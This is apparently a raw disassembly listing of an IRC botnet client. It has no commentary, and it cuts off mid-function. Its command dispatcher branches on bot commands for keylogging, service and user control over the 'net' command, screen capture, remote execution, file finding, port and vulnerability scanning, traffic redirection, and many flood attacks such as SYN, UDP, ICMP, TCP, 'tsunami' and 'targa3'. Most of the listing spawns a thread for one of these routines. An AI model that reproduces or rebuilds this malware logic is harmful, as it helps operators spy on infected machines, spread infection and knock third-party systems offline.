		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B7E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_405D82


loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------


loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42B7AC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B76C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B73C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B714
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B6E8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E574[esi], eax
		jnz	loc_40828B
		nop
		call	near ptr 2830047h
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42B67C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42B65C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42B610
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42B5E4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42B5C4
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------


loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D7D8
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]


loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B5A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_40600E


loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2820566h
		nop
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------


loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset dword_42B564
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB6F4, ebx
		jz	short loc_40604E
		cmp	dword_4CB71C, ebx
		jz	short loc_40604E
		push	offset unk_42B528
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------


loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42B4FC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42B4DC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------


loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1


loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx


loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------


loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx


loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42B494
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42B474
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2


loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42B454
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42B434
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------


loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42B408
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42B3EC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09


loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42BBC0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4067C5


loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------


loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		call	near ptr 2830047h
		nop
		push	eax
		push	offset unk_42B25C
		jmp	loc_403D91
; ---------------------------------------------------------------------------


loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42B214
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 282060Ah
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_4068F2


loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------


loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		call	near ptr 2830047h
		nop
		push	eax
		push	offset dword_42B1D8
		jmp	loc_407269
; ---------------------------------------------------------------------------


loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
